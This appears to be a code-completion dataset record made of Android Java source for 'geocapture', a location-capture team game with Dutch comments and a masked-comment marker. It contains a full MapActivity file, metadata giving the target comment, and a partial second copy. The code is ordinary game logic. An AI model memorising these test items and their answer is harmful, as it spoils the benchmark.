//myLocation
myLocation = findViewById(R.id.myLoc);
//txt views
teamNameTextView = findViewById(R.id.text_view_team_name);
timerTextView = findViewById(R.id.text_view_timer);
timerProgressBar = findViewById(R.id.progress_bar_timer);
teamNaam = getIntent().getExtras().getString("teamNaam");
teamNameTextView.setText(teamNaam);
gameTimer();
// Een vraag stellen als ik op de naam klik (Dit is tijdelijk om een vraag toch te kunnen tonen)
teamNameTextView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
claimLocatie(1, 1);
}
});
myLocation.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
if(myTeam.newLocation != null){
LatLng positie = new LatLng(myTeam.newLocation.getLatitude(), myTeam.newLocation.getLongitude());
kaart.moveCamera(CameraUpdateFactory.newLatLng(positie));
}
}
});
// Score
scoreTextView = findViewById(R.id.text_view_points);
score = 0;
setScore(30);
// Geluiden
mpTrace = MediaPlayer.create(this, R.raw.trace_crossed);
mpClaimed = MediaPlayer.create(this, R.raw.claimed);
mpBonusCorrect = MediaPlayer.create(this, R.raw.bonus_correct);
mpBonusWrong = MediaPlayer.create(this, R.raw.bonus_wrong);
mpGameStarted = MediaPlayer.create(this, R.raw.game_started);
mpGameStarted.start();
ImageView pointsImageView = findViewById(R.id.image_view_points);
pointsImageView.setOnLongClickListener(new View.OnLongClickListener() {
@Override
public boolean onLongClick(View view) {
endGame();
return false;
}
});
}
@Override
protected void onResume() {
super.onResume();
if (myTeam != null)
myTeam.StartConnection();
}
@Override
public void onMapReady(GoogleMap googleMap) {
kaart = googleMap;
kaart.getUiSettings().setMapToolbarEnabled(false);
// Alles ivm locatie van het eigen team
myTeam = new MyTeam(this, kaart, gamecode, teamNaam);
myTeam.StartConnection();
// Move the camera to Antwerp
LatLng Antwerpen = new LatLng(51.2194, 4.4025);
kaart.moveCamera(CameraUpdateFactory.newLatLngZoom(Antwerpen, 15));
// Locaties van andere teams
otherTeams = new OtherTeams(gamecode, teamNaam, kaart, GameActivity.this);
otherTeams.GetTeamsOnMap();
// Alles ivm doellocaties
goals = new Goals(gamecode, kaart, GameActivity.this);
}
@Override
public void onBackPressed() {
}
// Private helper methoden
/*
private void showDoelLocaties(List<DoelLocation> newDoelLocaties) {
// Place a marker on the locations
for (int i = 0; i < newDoelLocaties.size(); i++) {
DoelLocation doellocatie = newDoelLocaties.get(i);
LatLng Locatie = new LatLng(doellocatie.getLocatie().getLat(), doellocatie.getLocatie().getLong());
kaart.addMarker(new MarkerOptions().position(Locatie).title("Naam locatie").snippet("500").icon(BitmapDescriptorFactory.fromResource(R.drawable.coin_small)));
}
}
*/
private void everythingThatNeedsToHappenEvery3s(long verstrekentijd) {
int tijd = (int) (verstrekentijd / 1000);
if (tijd % 3 == 0) {
goals.RemoveCaimedLocations();
if (myTeam.newLocation != null) {
myTeam.HandleNewLocation(new Locatie(myTeam.newLocation.getLatitude(), myTeam.newLocation.getLongitude()), tijd);
calculateIntersect();
}
otherTeams.GetTeamsOnMap();
}
// Controleren op doellocatie triggers om te kunnen claimen
// Huidige locaties van de doelen ophalen
if (goals.currentGoals != null && myTeam.Traces.size() > 0 && !isClaiming) {
Locatie loc1 = goals.currentGoals.get(0).getDoel().getLocatie();
Locatie loc2 = goals.currentGoals.get(1).getDoel().getLocatie();
Locatie loc3 = goals.currentGoals.get(2).getDoel().getLocatie();
Locatie[] locs = {loc1, loc2, loc3};
// Mijn huidige locatie ophalen
int tempTraceSize = myTeam.Traces.size();
double tempLat = myTeam.Traces.get(tempTraceSize - 1).getLat();
double tempLong = myTeam.Traces.get(tempTraceSize - 1).getLong();
// Kijken of er een hit is met een locatie
int tempIndex = 0;
for (Locatie loc : locs) {
berekenAfstand(loc, tempLat, tempLong, goals.currentGoals.get(tempIndex));
tempIndex++;
}
}
}
private void berekenAfstand(Locatie doelLoc, double tempLat, double tempLong, GameDoel goal) {
afstandResult = new float[1];
Location.distanceBetween(doelLoc.getLat(), doelLoc.getLong(), tempLat, tempLong, afstandResult);
if (afstandResult[0] < treshHoldAfstand && !goal.getClaimed()) {
// GameDoelID en doellocID ophalen
int GD = goal.getId();
int LC = goal.getDoel().getId();
// Locatie claim triggeren
claimLocatie(GD, LC);
goal.setClaimed(true);
// Claimen instellen zolang we bezig zijn met claimen
isClaiming = true;
//Claim medelen via toast
Toast.makeText(GameActivity.this, "Locatie Geclaimed: " + goal.getDoel().getTitel(), Toast.LENGTH_LONG).show();
}
}
private void setMultiChoice(final String[] antwoorden, int CorrectIndex, String vraag) {
// Alertdialog aanmaken
AlertDialog.Builder builder = new AlertDialog.Builder(GameActivity.this);
// Single choice dialog met de antwoorden
builder.setSingleChoiceItems(antwoorden, -1, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
// Notify the current action
Toast.makeText(GameActivity.this, "Antwoord: " + antwoorden[i], Toast.LENGTH_LONG).show();
gekozenAntwoordIndex = i;
}
});
// Specify the dialog is not cancelable
builder.setCancelable(true);
// Set a title for alert dialog
builder.setTitle(vraag);
// Set the positive/yes button click listener
builder.setPositiveButton("Kies!", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
// Do something when click positive button
// Toast.makeText(GameActivity.this, "data: "+gekozenAntwoordIndex, Toast.LENGTH_LONG).show();
// Antwoord controleren
checkAnswer(gekozenAntwoordIndex, correctAntwoordIndex);
}
});
AlertDialog dialog = builder.create();
// Display the alert dialog on interface
dialog.show();
}
private void checkAnswer(int gekozenInd, int correctInd) {
// Klopt de gekozen index met het correcte antwoord index
if (gekozenInd == correctInd) {
mpBonusCorrect.start();
Toast.makeText(GameActivity.this, "Correct!", Toast.LENGTH_LONG).show();
// X aantal punten toevoegen bij de gebruiker
// Nieuwe score tonen en doorpushen naar de db
setScore(20);
isClaiming = false;
} else {
mpBonusWrong.start();
Toast.makeText(GameActivity.this, "Helaas!", Toast.LENGTH_LONG).show();
setScore(5);
isClaiming = false;
}
}
private void setScore(int newScore) {
score += newScore;
scoreTextView.setText(String.valueOf(score));
service.setTeamScore(gamecode, teamNaam, score, new NetworkResponseListener<Integer>() {
@Override
public void onResponseReceived(Integer score) {
// Score ok
}
@Override
public void onError() {
Toast.makeText(GameActivity.this, "Error while trying to set the new score", Toast.LENGTH_SHORT).show();
}
});
}
private void claimLocatie(final int locId, final int doellocID) {
mpClaimed.start();
// locid => gamelocaties ID, doellocID => id van de daadwerkelijke doellocatie
// Een team een locatie laten claimen als ze op deze plek zijn.
service.claimDoelLocatie(gamecode, locId, new NetworkResponseListener<StringReturn>() {
@Override
public void onResponseReceived(StringReturn rtrn) {
//response verwerken
try {
String waarde = rtrn.getWaarde();
Toast.makeText(GameActivity.this, waarde, Toast.LENGTH_SHORT).show();
} catch (Throwable err) {
Toast.makeText(GameActivity.this, "Error while trying to claim the location", Toast.LENGTH_SHORT).show();
}
}
@Override
public void onError() {
Toast.makeText(GameActivity.this, "Error while trying to claim the location", Toast.LENGTH_SHORT).show();
}
});
// Dialog tonen met de vraag claim of bonus vraag
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage("Claimen of bonus vraag(risico) oplossen?")
// Niet cancel-baar
.setCancelable(false)
.setPositiveButton("Claim", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
mpBonusCorrect.start();
// De location alleen claimen zonder bonusvraag
setScore(10);
isClaiming = false;
}
})
.setNegativeButton("Bonus vraag", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
// Random vraag bij deze locatie ophalen uit de backend
service.getDoelLocatieVraag(doellocID, new NetworkResponseListener<Vraag>() {
@Override
public void onResponseReceived(Vraag newVraag) {
// Response verwerken
// Vraagtitel bewaren
vraag = newVraag.getVraagZin();
//3 Antwoorden bewaren
ArrayList<Antwoord> allAnswers = newVraag.getAntwoorden();
antwoorden = new String[3];
for (int i = 0; i < 3; i++) {
antwoorden[i] = allAnswers.get(i).getAntwoordzin();
if (allAnswers.get(i).isCorrectBool()) {
correctAntwoordIndex = i;
}
}
//Vraag stellen
askQuestion();
}
@Override
public void onError() {
Toast.makeText(GameActivity.this, "Error while trying to get the question", Toast.LENGTH_SHORT).show();
}
});
}
});
AlertDialog alert = builder.create();
alert.show();
}
private void askQuestion() {
// Instellen van<SUF>
// Vraag tonen
setMultiChoice(antwoorden, correctAntwoordIndex, vraag);
}
private void gameTimer() {
String chosenGameTime = Objects.requireNonNull(getIntent().getExtras()).getString("gameTime");
long millisStarted = Long.parseLong(Objects.requireNonNull(getIntent().getExtras().getString("millisStarted")));
int gameTimeInMillis = Integer.parseInt(Objects.requireNonNull(chosenGameTime)) * 3600000;
// Het verschil tussen de tijd van nu en de tijd van wanneer de game is gestart
long differenceFromMillisStarted = System.currentTimeMillis() - millisStarted;
// Hoe lang dat de timer moet doorlopen
long timerMillis = gameTimeInMillis - differenceFromMillisStarted;
//screen time out
try{
if(Settings.System.canWrite(this)){
defTimeOut = Settings.System.getInt(getContentResolver(),Settings.System.SCREEN_OFF_TIMEOUT, 0);
android.provider.Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_OFF_TIMEOUT, (int)timerMillis);
}
} catch (NoSuchMethodError err){
err.printStackTrace();
}
// De progress begint op de juiste plek, dus niet altijd vanaf 0
progress = (int) ((gameTimeInMillis - timerMillis) / 1000);
timerProgressBar.setProgress(progress);
if (timerMillis > 0) {
final int finalGameTimeInMillis = gameTimeInMillis;
new CountDownTimer(timerMillis, 1000) {
public void onTick(long millisUntilFinished) {
int seconds = (int) (millisUntilFinished / 1000) % 60;
int minutes = (int) ((millisUntilFinished / (1000 * 60)) % 60);
int hours = (int) ((millisUntilFinished / (1000 * 60 * 60)) % 24);
timerTextView.setText("Time remaining: " + hours + ":" + minutes + ":" + seconds);
everythingThatNeedsToHappenEvery3s(finalGameTimeInMillis - millisUntilFinished);
getNewGoalsAfterInterval((finalGameTimeInMillis - millisUntilFinished), 900);
progress++;
timerProgressBar.setProgress(progress * 100 / (finalGameTimeInMillis / 1000));
}
public void onFinish() {
progress++;
timerProgressBar.setProgress(100);
endGame();
}
}.start();
} else {
endGame();
}
}
private void endGame() {
try{
if(Settings.System.canWrite(this)) {
Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_OFF_TIMEOUT, defTimeOut);
}
} catch (NoSuchMethodError err) {
err.printStackTrace();
}
Intent i = new Intent(GameActivity.this, EndGameActivity.class);
if (myTeam != null)
myTeam.StopConnection();
if (Objects.requireNonNull(getIntent().getExtras()).getBoolean("gameCreator"))
i.putExtra("gameCreator", true);
else
i.putExtra("gameCreator", false);
i.putExtra("gameCode", Integer.toString(gamecode));
startActivity(i);
}
private void calculateIntersect() {
if (myTeam.Traces.size() > 2) {
service.getAllTeamTraces(gamecode, new NetworkResponseListener<List<Team>>() {
@Override
public void onResponseReceived(List<Team> teams) {
if(myTeam.Traces.size() > 2) {
Locatie start = myTeam.Traces.get(myTeam.Traces.size() - 2);
Locatie einde = myTeam.Traces.get(myTeam.Traces.size() - 1);
for (Team team : teams) {
if (!team.getTeamNaam().equals(teamNaam)) {
Log.d("intersect", "size: " + team.getTeamTrace().size());
for (int i = 0; i < team.getTeamTrace().size(); i++) {
if ((i + 1) < team.getTeamTrace().size()) {
if (calc.doLineSegmentsIntersect(start, einde, team.getTeamTrace().get(i).getLocatie(), team.getTeamTrace().get(i + 1).getLocatie())) {
mpTrace.start();
Log.d("intersect", team.getTeamNaam() + " kruist");
setScore(-5);
Toast.makeText(GameActivity.this, "Oh oohw you crossed another team's path, bye bye 5 points", Toast.LENGTH_SHORT).show();
}
}
}
}
}
}
}
@Override
public void onError() {
Toast.makeText(GameActivity.this, "Er ging iets mis bij het opvragen van de teamtraces", Toast.LENGTH_SHORT);
}
});
}
}
private void getNewGoalsAfterInterval(Long verstrekenTijd, int interval) {
int tijd = (int) (verstrekenTijd / 1000);
// interval meegeven in seconden
goals.GetNewGoals(tijd, interval);
//traces op map clearen bij elk interval
if (tijd % interval == 0) {
service.deleteTeamtraces(gamecode, new NetworkResponseListener<Boolean>() {
@Override
public void onResponseReceived(Boolean cleared) {
Log.d("clearTraces", "cleared: " +cleared);
myTeam.ClearTraces();
otherTeams.ClearTraces();
}
@Override
public void onError() {
}
});
}
}
}
|
17870_23 | package be.ap.eaict.geocapture;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.drawable.BitmapDrawable;
import android.os.Bundle;
import android.os.CountDownTimer;
import android.support.v7.app.AppCompatActivity;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.OnMapReadyCallback;
import com.google.android.gms.maps.SupportMapFragment;
import com.google.android.gms.maps.model.BitmapDescriptorFactory;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.Marker;
import com.google.android.gms.maps.model.MarkerOptions;
import com.google.android.gms.maps.GoogleMap.OnMyLocationButtonClickListener;
import com.google.android.gms.maps.GoogleMap.OnMyLocationClickListener;
import com.google.gson.Gson;
import com.google.gson.reflect.TypeToken;
import com.loopj.android.http.AsyncHttpResponseHandler;
import android.Manifest;
import android.content.pm.PackageManager;
import android.location.Location;
import android.support.annotation.NonNull;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.util.Log;
import android.widget.TextView;
import android.widget.Toast;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
import java.util.concurrent.TimeUnit;
import be.ap.eaict.geocapture.Model.CaptureLocatie;
import be.ap.eaict.geocapture.Model.Locatie;
import be.ap.eaict.geocapture.Model.Puzzel;
import be.ap.eaict.geocapture.Model.Team;
import be.ap.eaict.geocapture.Model.User;
import cz.msebera.android.httpclient.Header;
public class MapActivity extends AppCompatActivity
implements
OnMyLocationButtonClickListener,
OnMyLocationClickListener,
OnMapReadyCallback,
ActivityCompat.OnRequestPermissionsResultCallback {
GameService _gameservice = new GameService();
private static final String TAG = "MapActivity";
/**
* Request code for location permission request.
*
* @see #onRequestPermissionsResult(int, String[], int[])
*/
private static final int LOCATION_PERMISSION_REQUEST_CODE = 1;
/**
* Flag indicating whether a requested permission has been denied after returning in
* {@link #onRequestPermissionsResult(int, String[], int[])}.
*/
private boolean mPermissionDenied = false;
private GoogleMap mMap;
private GameService _gameService = new GameService();
TextView gameTime;
TextView bestTeamTxt;
private Location _locatie;
HashMap<Integer, Marker> locatieMarkers = new HashMap<Integer, Marker>() {};
List<Marker> teamMarkers = new ArrayList<Marker>() {};
@Override
protected void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_map);
SupportMapFragment mapFragment = (SupportMapFragment) getSupportFragmentManager().findFragmentById(R.id.map);
mapFragment.getMapAsync(this);
gameTime = (TextView) findViewById(R.id.gametime);
bestTeamTxt = (TextView) findViewById(R.id.bestTeamTxt);
initializeGameTime();
keepGameUpToDate();
}
@Override
public void onMapReady(GoogleMap googleMap){
List<Locatie> locaties = _gameService.game.getEnabledLocaties();
float centerlat = 0;
float centerlng = 0;
LatLng center = new LatLng(0, 0);
Bitmap b =((BitmapDrawable)getResources().getDrawable(R.drawable.grey_dot)).getBitmap();
Bitmap greymarker = Bitmap.createScaledBitmap(b, 40, 40, false);
for(Locatie locatie:locaties){
LatLng latLng = new LatLng(locatie.getLat(), locatie.getLng());
centerlat = centerlat + locatie.getLat();
centerlng = centerlng + locatie.getLng();
//center = new LatLng(center.latitude + locatie.getLat(),center.longitude + locatie.getLng());
locatieMarkers.put(
locatie.id,
googleMap.addMarker(new MarkerOptions()
.position(latLng)
.alpha(0.7f)
.icon(BitmapDescriptorFactory.fromBitmap(greymarker))
)
);
}
if(locaties.size()>0)
center = new LatLng(centerlat/locaties.size(), centerlng/locaties.size());
b =((BitmapDrawable)getResources().getDrawable(R.drawable.green_dot)).getBitmap();
Bitmap marker = Bitmap.createScaledBitmap(b, 27, 27, false);
List<User> users = _gameService.game.teams.get(GameService.team).users;
Log.d(TAG, "onMapReady: " + users);
for(User lid:users){
if(lid.id != _gameService.userId)
{
MarkerOptions a = new MarkerOptions()
.position(new LatLng(lid.lat, lid.lng))
.alpha(0.7f)
.icon(BitmapDescriptorFactory.fromBitmap(marker));
Marker m = googleMap.addMarker(a);
teamMarkers.add(m);
}
}
/* //testmarker:
MarkerOptions a = new MarkerOptions()
.position(new LatLng(5,5))
.alpha(0.7f)
.icon(BitmapDescriptorFactory.fromBitmap(marker));
Marker m = googleMap.addMarker(a);*/
googleMap.moveCamera(CameraUpdateFactory.newLatLngZoom(center,14));
mMap = googleMap;
mMap.setOnMyLocationButtonClickListener(this);
mMap.setOnMyLocationClickListener(this);
enableMyLocation();
mMap.setOnMyLocationChangeListener(new GoogleMap.OnMyLocationChangeListener() {
@Override
public void onMyLocationChange(Location location) {
_locatie = location;
}
});
}
@Override
protected void onDestroy() {
SyncAPICall.delete("Game/deleteplayerlocatie/"+Integer.toString(_gameservice.lobbyId)+"/"+Integer.toString(_gameservice.team)+"/"+ Integer.toString(_gameservice.userId), null, new AsyncHttpResponseHandler() {
@Override
public void onSuccess (int statusCode, Header[] headers, byte[] res ) {
// called when response HTTP status is "200 OK"
}
@Override
public void onFailure(int statusCode, Header[] headers, byte[] responseBody, Throwable error) {
// called when response HTTP status is "4XX" (eg. 401, 403, 404)
}
});
super.onDestroy();
}
/**
* Enables the My Location layer if the fine location permission has been granted.
*/
private void enableMyLocation() {
if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
!= PackageManager.PERMISSION_GRANTED) {
// Permission to access the location is missing.
PermissionUtils.requestPermission(this, LOCATION_PERMISSION_REQUEST_CODE,
Manifest.permission.ACCESS_FINE_LOCATION, true);
}
else if (mMap != null) {
// Access to the location has been granted to the app.
mMap.setMyLocationEnabled(true);
}
}
@Override
public boolean onMyLocationButtonClick() {
Toast.makeText(this, "MyLocation button clicked", Toast.LENGTH_SHORT).show();
// Return false so that we don't consume the event and the default behavior still occurs
// (the camera animates to the user's current position).
return false;
}
@Override
public void onMyLocationClick(@NonNull Location location) {
Toast.makeText(this, "Current location:\n" + location, Toast.LENGTH_LONG).show();
Log.d(TAG, "onabcxyz lng: "+ location.getLongitude() + " lat: " + location.getLatitude());
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,
@NonNull int[] grantResults) {
if (requestCode != LOCATION_PERMISSION_REQUEST_CODE) {
return;
}
if (PermissionUtils.isPermissionGranted(permissions, grantResults,
Manifest.permission.ACCESS_FINE_LOCATION)) {
// Enable the my location layer if the permission has been granted.
enableMyLocation();
} else {
// Display the missing permission error dialog when the fragments resume.
mPermissionDenied = true;
}
}
@Override
protected void onResumeFragments() {
super.onResumeFragments();
if (mPermissionDenied) {
// Permission was not granted, display error dialog.
showMissingPermissionError();
mPermissionDenied = false;
}
}
/**
* Displays a dialog with error message explaining that the location permission is missing.
*/
private void showMissingPermissionError() {
PermissionUtils.PermissionDeniedDialog
.newInstance(true).show(getSupportFragmentManager(), "dialog");
}
private void keepGameUpToDate() {
new CountDownTimer(_gameService.game.getRegio().getTijd()*60, 2000) {
public void onTick(long millisUntilFinished) {
//update player locatie, returns game
if(_locatie != null)
_gameService.UpdatePlayerLocatie(new LatLng(_locatie.getLatitude(), _locatie.getLongitude()));
//update other players locaties
for (Marker marker : teamMarkers)
{
marker.remove();
}
List<User> users = _gameService.game.teams.get(GameService.team).users; // update player locaties op de map
for(User user : users)
if(user.id != _gameService.userId)
{
Bitmap b =((BitmapDrawable)getResources().getDrawable(R.drawable.green_dot)).getBitmap();
Bitmap marker = Bitmap.createScaledBitmap(b, 30, 30, false);
teamMarkers.add(mMap.addMarker(new MarkerOptions()
.position(new LatLng(user.lat, user.lng))
.alpha(0.7f)
.icon(BitmapDescriptorFactory.fromBitmap(marker))));
}
//update locatie locaties op de map
for(Team team : _gameService.game.teams)
{
if(team.capturedLocaties.size()>0)
{
if(team.id == _gameService.game.teams.get(_gameService.team).id)
{
Bitmap b =((BitmapDrawable)getResources().getDrawable(R.drawable.captured_dot)).getBitmap();
Bitmap marker = Bitmap.createScaledBitmap(b, 40, 40, false);
for(CaptureLocatie captureLocatie : team.capturedLocaties)
locatieMarkers.get(captureLocatie.locatie.id).setIcon(BitmapDescriptorFactory.fromBitmap(marker));
}
else
{
Bitmap b =((BitmapDrawable)getResources().getDrawable(R.drawable.enemycapture_dot)).getBitmap();
Bitmap marker = Bitmap.createScaledBitmap(b, 40, 40, false);
for(CaptureLocatie captureLocatie : team.capturedLocaties)
locatieMarkers.get(captureLocatie.locatie.id).setIcon(BitmapDescriptorFactory.fromBitmap(marker));
}
}
}
bestTeam();//laat het beste team zien in de balk onderaan in het scherm
int l = canCapture();//kijk of er een locatie is dat men kan capturen
if(l != 0 && l != lastl && !_gameService.puzzelactive)//roep de vragenactivity op wanneer mogelijk
{
lastl = l;
Intent intent = new Intent(MapActivity.this , VragenActivity.class);
_gameService.puzzels = new ArrayList<>();
for(Team team : _gameService.game.teams)
for(CaptureLocatie captureLocatie : team.capturedLocaties)
if(captureLocatie.locatie.id == l )
{
int maxpoints = 0;
for(Puzzel puzzel : captureLocatie.locatie.puzzels)
maxpoints+= puzzel.points;
Toast.makeText(MapActivity.this, "CaptureStrength: "+ captureLocatie.score+ "/"+maxpoints, Toast.LENGTH_SHORT).show();
l = 0; // kill capture 'ability'
}
for(final Locatie locatie : _gameService.game.regio.locaties)
if(locatie.id == l)
{
for(Puzzel puzzel : locatie.puzzels)
_gameService.puzzels.add(new Puzzel(puzzel.id,puzzel.vraag, null));
_gameService.locationid = l;
startActivity(intent);
}
}
}
public int lastl = 0;
public void onFinish() {
Intent Leaderboard = new Intent(MapActivity.this, LeaderboardActivity.class);
startActivity(Leaderboard);
}
}.start();
}
//gametime wordt via de app met internet tijd geregeld zodat iedereen gelijk loopt.
private void initializeGameTime(){
int tijd = _gameService.game.getRegio().getTijd()*60 - (int)(System.currentTimeMillis() - _gameService.game.starttijd);
new CountDownTimer(tijd, 1000) {
public void onTick(long millisUntilFinished) {
String timer = String.format(Locale.getDefault(), "%02d:%02d:%02d remaining",
TimeUnit.MILLISECONDS.toHours(millisUntilFinished) % 60,
TimeUnit.MILLISECONDS.toMinutes(millisUntilFinished) % 60,
TimeUnit.MILLISECONDS.toSeconds(millisUntilFinished) % 60);
gameTime.setText(timer);
}
public void onFinish() {
gameTime.setText("einde game");
}
}.start();
}
public void bestTeam(){
List<Team> teams = _gameService.game.teams;
int bestteamid = 999;
int bestscore = 0;
//checken of er score zijn gemaakt om het beste team te updaten.
for(Team team : teams) {
int score = 0;
for(CaptureLocatie loc : team.getCapturedLocaties())
score += loc.score;
if (score > bestscore){
bestscore = score;
bestteamid = team.id;
}
}
if (bestteamid == 999){
bestTeamTxt.setText("Best Team: -" );
}else {
bestTeamTxt.setText("Best Team: " + String.valueOf(bestteamid) + " score: " + bestscore);
}
int score = 0;
for(CaptureLocatie loc : teams.get(_gameService.team).capturedLocaties )
score += loc.score;
bestTeamTxt.setText(bestTeamTxt.getText() + "\nMy teamId: "+ teams.get(_gameService.team).id + " score: " + score);
}
private int canCapture(){
List<Locatie> locaties = _gameService.game.getEnabledLocaties();
List<Locatie> capturedlocaties = new ArrayList<>();
for(CaptureLocatie captureLocatie : _gameService.game.teams.get(_gameService.team).capturedLocaties)
capturedlocaties.add(captureLocatie.locatie);
//controleren of je binnen een straal van 30m bent om te kunnen capturen.
if(_locatie != null)
for (int i = 0; i < locaties.size(); i++) {
double x = _locatie.getLongitude() - locaties.get(i).lng;
double y = _locatie.getLatitude() - locaties.get(i).lat;
x = x * x;
y = y * y;
double afstand = Math.sqrt(x+y);
//0.00026949458 is 30m in graden op de wereld
if (afstand < 0.00026949458){
boolean contains = false;
for(Locatie ll : capturedlocaties)
{
if(ll.id == locaties.get(i).id)
contains = true;
}
if(contains == false)
{
int send = locaties.get(i).id;
return send;
}
}
}
return 0;
}
}
| AP-IT-GH/CA1819-HansAnders | MobApp/app/src/main/java/be/ap/eaict/geocapture/MapActivity.java | 4,768 | //gametime wordt via de app met internet tijd geregeld zodat iedereen gelijk loopt. | line_comment | nl | package be.ap.eaict.geocapture;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.drawable.BitmapDrawable;
import android.os.Bundle;
import android.os.CountDownTimer;
import android.support.v7.app.AppCompatActivity;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.OnMapReadyCallback;
import com.google.android.gms.maps.SupportMapFragment;
import com.google.android.gms.maps.model.BitmapDescriptorFactory;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.Marker;
import com.google.android.gms.maps.model.MarkerOptions;
import com.google.android.gms.maps.GoogleMap.OnMyLocationButtonClickListener;
import com.google.android.gms.maps.GoogleMap.OnMyLocationClickListener;
import com.google.gson.Gson;
import com.google.gson.reflect.TypeToken;
import com.loopj.android.http.AsyncHttpResponseHandler;
import android.Manifest;
import android.content.pm.PackageManager;
import android.location.Location;
import android.support.annotation.NonNull;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.util.Log;
import android.widget.TextView;
import android.widget.Toast;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
import java.util.concurrent.TimeUnit;
import be.ap.eaict.geocapture.Model.CaptureLocatie;
import be.ap.eaict.geocapture.Model.Locatie;
import be.ap.eaict.geocapture.Model.Puzzel;
import be.ap.eaict.geocapture.Model.Team;
import be.ap.eaict.geocapture.Model.User;
import cz.msebera.android.httpclient.Header;
public class MapActivity extends AppCompatActivity
implements
OnMyLocationButtonClickListener,
OnMyLocationClickListener,
OnMapReadyCallback,
ActivityCompat.OnRequestPermissionsResultCallback {
GameService _gameservice = new GameService();
private static final String TAG = "MapActivity";
/**
* Request code for location permission request.
*
* @see #onRequestPermissionsResult(int, String[], int[])
*/
private static final int LOCATION_PERMISSION_REQUEST_CODE = 1;
/**
* Flag indicating whether a requested permission has been denied after returning in
* {@link #onRequestPermissionsResult(int, String[], int[])}.
*/
private boolean mPermissionDenied = false;
private GoogleMap mMap;
private GameService _gameService = new GameService();
TextView gameTime;
TextView bestTeamTxt;
private Location _locatie;
HashMap<Integer, Marker> locatieMarkers = new HashMap<Integer, Marker>() {};
List<Marker> teamMarkers = new ArrayList<Marker>() {};
@Override
protected void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_map);
SupportMapFragment mapFragment = (SupportMapFragment) getSupportFragmentManager().findFragmentById(R.id.map);
mapFragment.getMapAsync(this);
gameTime = (TextView) findViewById(R.id.gametime);
bestTeamTxt = (TextView) findViewById(R.id.bestTeamTxt);
initializeGameTime();
keepGameUpToDate();
}
@Override
public void onMapReady(GoogleMap googleMap){
List<Locatie> locaties = _gameService.game.getEnabledLocaties();
float centerlat = 0;
float centerlng = 0;
LatLng center = new LatLng(0, 0);
Bitmap b =((BitmapDrawable)getResources().getDrawable(R.drawable.grey_dot)).getBitmap();
Bitmap greymarker = Bitmap.createScaledBitmap(b, 40, 40, false);
for(Locatie locatie:locaties){
LatLng latLng = new LatLng(locatie.getLat(), locatie.getLng());
centerlat = centerlat + locatie.getLat();
centerlng = centerlng + locatie.getLng();
//center = new LatLng(center.latitude + locatie.getLat(),center.longitude + locatie.getLng());
locatieMarkers.put(
locatie.id,
googleMap.addMarker(new MarkerOptions()
.position(latLng)
.alpha(0.7f)
.icon(BitmapDescriptorFactory.fromBitmap(greymarker))
)
);
}
if(locaties.size()>0)
center = new LatLng(centerlat/locaties.size(), centerlng/locaties.size());
b =((BitmapDrawable)getResources().getDrawable(R.drawable.green_dot)).getBitmap();
Bitmap marker = Bitmap.createScaledBitmap(b, 27, 27, false);
List<User> users = _gameService.game.teams.get(GameService.team).users;
Log.d(TAG, "onMapReady: " + users);
for(User lid:users){
if(lid.id != _gameService.userId)
{
MarkerOptions a = new MarkerOptions()
.position(new LatLng(lid.lat, lid.lng))
.alpha(0.7f)
.icon(BitmapDescriptorFactory.fromBitmap(marker));
Marker m = googleMap.addMarker(a);
teamMarkers.add(m);
}
}
/* //testmarker:
MarkerOptions a = new MarkerOptions()
.position(new LatLng(5,5))
.alpha(0.7f)
.icon(BitmapDescriptorFactory.fromBitmap(marker));
Marker m = googleMap.addMarker(a);*/
googleMap.moveCamera(CameraUpdateFactory.newLatLngZoom(center,14));
mMap = googleMap;
mMap.setOnMyLocationButtonClickListener(this);
mMap.setOnMyLocationClickListener(this);
enableMyLocation();
mMap.setOnMyLocationChangeListener(new GoogleMap.OnMyLocationChangeListener() {
@Override
public void onMyLocationChange(Location location) {
_locatie = location;
}
});
}
@Override
protected void onDestroy() {
SyncAPICall.delete("Game/deleteplayerlocatie/"+Integer.toString(_gameservice.lobbyId)+"/"+Integer.toString(_gameservice.team)+"/"+ Integer.toString(_gameservice.userId), null, new AsyncHttpResponseHandler() {
@Override
public void onSuccess (int statusCode, Header[] headers, byte[] res ) {
// called when response HTTP status is "200 OK"
}
@Override
public void onFailure(int statusCode, Header[] headers, byte[] responseBody, Throwable error) {
// called when response HTTP status is "4XX" (eg. 401, 403, 404)
}
});
super.onDestroy();
}
/**
* Enables the My Location layer if the fine location permission has been granted.
*/
private void enableMyLocation() {
if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
!= PackageManager.PERMISSION_GRANTED) {
// Permission to access the location is missing.
PermissionUtils.requestPermission(this, LOCATION_PERMISSION_REQUEST_CODE,
Manifest.permission.ACCESS_FINE_LOCATION, true);
}
else if (mMap != null) {
